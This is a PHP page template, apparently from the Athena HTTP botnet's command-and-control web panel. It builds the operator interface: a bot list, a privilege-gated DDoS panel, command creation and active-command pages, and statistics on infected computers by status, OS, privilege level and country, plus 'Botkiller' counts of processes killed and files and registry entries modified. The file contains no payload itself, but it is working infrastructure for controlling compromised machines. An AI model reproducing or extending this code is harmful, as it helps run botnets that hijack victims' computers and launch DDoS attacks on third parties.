<?php

	if(!defined('AthenaHTTP')) header('Location: ..');
	
	require_once './include/inc_genstats.php';

	$PAGE  = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' . "\n";
	$PAGE .= '<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">' . "\n";
	$PAGE .= '	<head profile="http://gmpg.org/xfn/11">' . "\n";
	$PAGE .= '		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' . "\n";
	$PAGE .= '		<title>Athena</title>' . "\n";
	$PAGE .= '		<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Arimo" type="text/css">' . "\n";
	$PAGE .= '		<link rel="stylesheet" href="./styles/reset.css" type="text/css" />' . "\n";
	$PAGE .= '		<link rel="stylesheet" href="./styles/main.css" type="text/css" />' . "\n";
	$PAGE .= '		<script type="text/javascript" charset="UTF-8" src="./js/main.js"></script>' . "\n";
	$PAGE .= '	</head>' . "\n";
	$PAGE .= '	<body>' . "\n";
	$PAGE .= '		<div id="header">' . "\n";
	$PAGE .= '			<div id="logo"></div>' . "\n";
	$PAGE .= '			<div id="sidemenu">' . "\n";
	$PAGE .= '				<span>Welcome, ' . htmlentities($HEAD_USER) . '</span>' . "\n";
	$PAGE .= '				<span>|</span>' . "\n";
	$PAGE .= '				<span><a href="./index.php?p=help">Help</a></span>' . "\n";
	$PAGE .= '				<span>|</span>' . "\n";
	$PAGE .= '				<span><a href="./index.php?p=logout">Logout</a></span>' . "\n";
	$PAGE .= '			</div>' . "\n";
	$PAGE .= '		</div>' . "\n";
	$PAGE .= '		<div id="sidebarhelp"></div>' . "\n";
	$PAGE .= '		<div id="sidebar">' . "\n";
	$PAGE .= '			<div id="menu">' . "\n";
	$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=botlist\');" class="menuitem">Botlist' . $ARROW_BOTLIST . '</div>' . "\n";	
	if($USERINFO['priv2'] || $USERINFO['admin'])	
		$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=ddos\');" class="menuitem">DDoS Panel' . $ARROW_DDOS . '</div>' . "\n";		
	$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=checker\');" class="menuitem">Website Checker' . $ARROW_CHECKER . '</div>' . "\n";
	if($USERINFO['priv1'] || $USERINFO['priv2'] || $USERINFO['priv3'] || $USERINFO['priv4'] || $USERINFO['admin'])
		$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=misc\');" class="menuitem">Create Command' . $ARROW_MISC . '</div>' . "\n";
	$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=tasks\');" class="menuitem">Active Commands' . $ARROW_TASKS . '</div>' . "\n";
	if($USERINFO['admin'])
		$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=userlist\');" class="menuitem">User Management' . $ARROW_USERLIST . '</div>' . "\n";		
	$PAGE .= '				<div onClick="navigateTo(\'./index.php?p=prefs\');" class="menuitem">Preferences' . $ARROW_PREFS . '</div>' . "\n";
	$PAGE .= '			</div>' . "\n";
	$PAGE .= '			<div id="statistics">' . "\n";
	$PAGE .= '				<div class="statsitem">' . "\n";
	$PAGE .= '					<span id="test" onClick="statsToggleVisibility(this, \'stats_status\');">Status<p class="' . ($_COOKIE['stats_status'] == 'on' ? 'down' : 'up') . '"></p></span>' . "\n";
	$PAGE .= '					<div class="statscontent' . ($_COOKIE['stats_status'] == 'on' ? '' : ' hide') . '">' . "\n";
	$PAGE .= '						<p><span>Alive</span>' . $STATS_ALIVE[0] . ' (' . $STATS_ALIVE[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>Dead</span>' . $STATS_DEAD[0] . ' (' . $STATS_DEAD[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= '						<p><span>Online</span>' . $STATS_ONLINE[0] . ' (' . $STATS_ONLINE[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>Offline</span>' . $STATS_OFFLINE[0] . ' (' . $STATS_OFFLINE[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= '						<p><span>New</span>' . $STATS_NEW . '</p>' . "\n";
	//$PAGE .= '						<p></p>' . "\n";
	//$PAGE .= '						<p><span>All Time Peak</span>' . $PEAK_ALLTIME . '</p>' . "\n";
	//$PAGE .= '						<p><span>7 Day Peak</span>' . $PEAK_SEVENDAYS . '</p>' . "\n";
	//$PAGE .= '						<p><span>24 Hour Peak</span>' . $PEAK_TWENTYFOURHOURS . '</p>' . "\n";
	$PAGE .= '					</div>' . "\n";
	$PAGE .= '				</div>' . "\n";
	$PAGE .= '				<div class="statsitem">' . "\n";
	$PAGE .= '					<span onClick="statsToggleVisibility(this, \'stats_ddos\');">DDoS<p class="' . ($_COOKIE['stats_ddos'] == 'on' ? 'down' : 'up') . '"></p></span>' . "\n";
	$PAGE .= '					<div class="statscontent' . ($_COOKIE['stats_ddos'] == 'on' ? '' : ' hide') . '">' . "\n";
	$PAGE .= '						<p><span>Busy</span>' . $STATS_BUSY[0] . ' (' . $STATS_BUSY[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>Free</span>' . $STATS_FREE[0] . ' (' . $STATS_FREE[1] . '%)</p>' . "\n";
	$PAGE .= '					</div>' . "\n";
	$PAGE .= '				</div>' . "\n";
	$PAGE .= '				<div class="statsitem">' . "\n";
	$PAGE .= '					<span onClick="statsToggleVisibility(this, \'stats_killer\');">Botkiller<p class="' . ($_COOKIE['stats_killer'] == 'on' ? 'down' : 'up') . '"></p></span>' . "\n";
	$PAGE .= '					<div class="statscontent' . ($_COOKIE['stats_killer'] == 'on' ? '' : ' hide') . '">' . "\n";
	$PAGE .= '						<p><span>Killed Processes</span>' . ($STATS_PROC ? $STATS_PROC : '0') . '</p>' . "\n";
	$PAGE .= '						<p><span>File Modifications</span>' . ($STATS_FILE ? $STATS_FILE : '0') . '</p>' . "\n";
	$PAGE .= '						<p><span>Registry Modifications</span>' . ($STATS_REG ? $STATS_REG : '0') . '</p>' . "\n";
	$PAGE .= '					</div>' . "\n";
	$PAGE .= '				</div>' . "\n";
	$PAGE .= '				<div class="statsitem">' . "\n";
	$PAGE .= '					<span onClick="statsToggleVisibility(this, \'stats_compstats\');">Computer Statistics<p class="' . ($_COOKIE['stats_compstats'] == 'on' ? 'down' : 'up') . '"></p></span>' . "\n";
	$PAGE .= '					<div class="statscontent' . ($_COOKIE['stats_compstats'] == 'on' ? '' : ' hide') . '">' . "\n";
	$PAGE .= '						<p><span>32 Bit</span>' . $STATS_32BIT[0] . ' (' . $STATS_32BIT[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>64 Bit</span>' . $STATS_64BIT[0] . ' (' . $STATS_64BIT[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= '						<p><span>.NET</span>' . $STATS_NET[0] . ' (' . $STATS_NET[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>Non .NET</span>' . $STATS_NONET[0] . ' (' . $STATS_NONET[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= $STATS_OPSYS;
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= '						<p><span>Desktop</span>' . $STATS_DESKTOP[0] . ' (' . $STATS_DESKTOP[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>Laptop</span>' . $STATS_LAPTOP[0] . ' (' . $STATS_LAPTOP[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= '						<p><span>Admin</span>' . $STATS_ADMIN[0] . ' (' . $STATS_ADMIN[1] . '%)</p>' . "\n";
	$PAGE .= '						<p><span>User</span>' . $STATS_USER[0] . ' (' . $STATS_USER[1] . '%)</p>' . "\n";
	$PAGE .= '						<p></p>' . "\n";
	$PAGE .= $STATS_VERSION;
	$PAGE .= '					</div>' . "\n";
	$PAGE .= '				</div>' . "\n";
	$PAGE .= '				<div class="statsitem">' . "\n";
	$PAGE .= '					<span onClick="statsToggleVisibility(this, \'stats_countrystats\');">Country<p class="' . ($_COOKIE['stats_countrystats'] == 'on' ? 'down' : 'up') . '"></p></span>' . "\n";
	$PAGE .= '					<div class="statscontent' . ($_COOKIE['stats_countrystats'] == 'on' ? '' : ' hide') . '">' . "\n";
	$PAGE .= $STATS_COUNTRY;
	$PAGE .= '					</div>' . "\n";
	$PAGE .= '				</div>' . "\n";
	$PAGE .= '			</div>' . "\n";
	$PAGE .= '		</div>' . "\n";
	$PAGE .= '		<div id="outer">' . "\n";
	$PAGE .= $PAGE_INCLUDE;
	$PAGE .= '		</div>' . "\n";
	$PAGE .= '		<br />' . "\n";
	$PAGE .= '	</body>' . "\n";
	$PAGE .= '</html>' . "\n";

?>